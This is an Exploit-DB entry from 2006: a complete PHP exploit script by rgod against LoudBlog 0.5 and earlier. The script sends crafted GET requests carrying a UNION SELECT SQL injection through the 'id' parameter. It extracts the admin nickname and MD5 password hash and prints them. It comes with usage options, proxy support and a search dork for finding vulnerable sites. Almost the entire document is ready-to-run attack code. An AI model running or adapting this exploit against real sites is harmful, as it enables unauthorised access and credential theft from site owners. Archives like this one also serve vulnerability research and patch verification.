Exploit-DB #2050
Description: LoudBlog 0.5 - SQL Injection / Admin Credentials Disclosure
Type: webapps
Platform: php
Date: 2006-07-21
Author: rgod

Exploit:
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "LoudBlog <= 0.5 'id' SQL injection / admin credentials disclosure\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n";
echo "a dork: \"Powered by LoudBlog\"\r\n\r\n";
/*
works regardless of magic_quotes_gpc settings
*/

if ($argc<3) {
echo "Usage: php ".$argv[0]." host path OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to LoudBlog\r\n";
echo "user/pass: you need an account\r\n";
echo "Options:\r\n";
echo "   -T[prefix]   specify a table prefix different from 'lb_'\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost /loudblog/  \r\n";
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

function is_hash($hash)
{
 if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
 else {return false;}
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$prefix="lb_";
$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
  $prefix=str_replace("-T","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$zeros=array(",0,0,0,0", //<- this the one I tested, may change in other versions
	     ",0,0,0",
	     ",0,0",
	     ",0",
	     ",0,0,0,0,0",
	     ",0,0,0,0,0,0",
	     ",0,0,0,0,0,0,0");

for ($i=0; $i<count($zeros); $i++)
{
$sql="'UNION/**/SELECT/**/0,0,CONCAT('*_u_*',nickname,'*_u_*'),'2005-03-29 16:32:42',0,0,0,0,0,0,CONCAT('*_p_*',password,'*_p_*'),0,0,0,0,0,0,0".$zeros[$i]."/**/FROM/**/".$prefix."authors/**/WHERE/**/id=1/*";
//debug
//echo "sql -> ".$sql."\r\n";
$sql=urlencode($sql);
$packet ="GET ".$p."index.php?id=$sql HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("*_p_*",$html);
$hash=$temp[1];
if (is_hash($hash))
{
echo "-------------------------------------------------------\r\n";
echo "password (md5) -> ".$hash."\r\n";
$temp=explode("*_u_*",$html);
echo "admin          -> ".$temp[1]."\r\n";
echo "-------------------------------------------------------\r\n";
die;
}
}
//if you are here...
echo "exploit failed...";
?>

# milw0rm.com [2006-07-21]